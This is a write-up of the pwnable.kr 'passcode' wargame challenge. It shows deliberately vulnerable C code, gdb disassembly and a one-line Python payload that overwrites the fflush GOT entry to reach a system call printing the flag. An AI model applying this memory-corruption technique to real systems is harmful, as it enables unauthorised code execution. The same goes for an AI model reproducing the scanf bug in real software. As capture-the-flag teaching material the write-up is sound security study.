Passcode - Write-Up [Pwnable.kr]
Pwnable.kr is a non-commercial wargame site which provides various pwn challenges regarding system exploitation.
In this blog post I’ll write-up how I managed to pass the “passcode” challenge.
Code
#include <stdio.h>
#include <stdlib.h>
void login() {
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if (passcode1==338150 && passcode2==13371337) {
printf("Login OK!\n");
system("/bin/cat flag");
} else {
printf("Login Failed!\n");
exit(0);
}
}
void welcome() {
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main() {
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
Audit
Following the flow of the program: in the welcome
function we enter our name, and in the login
function we enter passcode1
and passcode2
, if they match respectively 338150
and 13371337
we’ll get the shell.
Auditing the code, we can easily see a bug in the login
function: the program is not passing to the scanf
functions the addresses of passcode1
/passcode2
, so possibly it leads to arbitrary 4 bytes write if we can control somehow the value of passcodes.
Let’s see at binary level if we can control the passcodes values:
$ gdb passcode
(gdb)
(gdb) set disassembly-flavor intel
(gdb) disas welcome
Dump of assembler code for function welcome:
... (output truncated for brevity) ...
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
... (output truncated for brevity) ...
Here we save our name into $ebp-0x70
, the buffer is 100 bytes so it ends at ($ebp-0x70)+0x64.
Ok, now we move on, and we jump to the login
function, in order to see if we have any chance to control the passcodes values form the name
buffer previously allocated.
(gdb) disas login
Dump of assembler code for function login:
... (output truncated for brevity) ...
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
... (output truncated for brevity) ...
At this point $ebp is the same as in the welcome
function, so we can compare the two values: (($ebp-0x70)+0x64)-($ebp-0x10)
= 4. Great, we can control passcode1
($ebp-0x10) from the name
buffer.
The goal here is to see where the system
call is placed in our binary.
(gdb) disas login
Dump of assembler code for function login:
... (output truncated for brevity) ...
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
... (output truncated for brevity) ...
It’s at 0x80485E3
which in decimal is 134514147. Now we need to jump there overriding the GOT
of fflush
with our address.
Let’s see where the fflush
’s relocation address is:
$ readelf -r passcode | grep fflush
0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0
Exploit
$ python -c "print 'A'*(100-4) + '\x04\xa0\x04\x08' + '134514147'" > /tmp/passcode-poc
We fill the name
buffer with padding but the latest 4 bytes (which are also the same as passcode1
) that we fill with the fflush
GOT address. Then we add the address of the system
call which will be called instead of fflush
.
$ cat /tmp/passcode-poc | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
***********************************************
Now I can safely trust you that you have credential :)
Conclusion
Make sure you pass the right arguments to functions (in this case scanf
needs a pointer to an int
and not the int
value itself).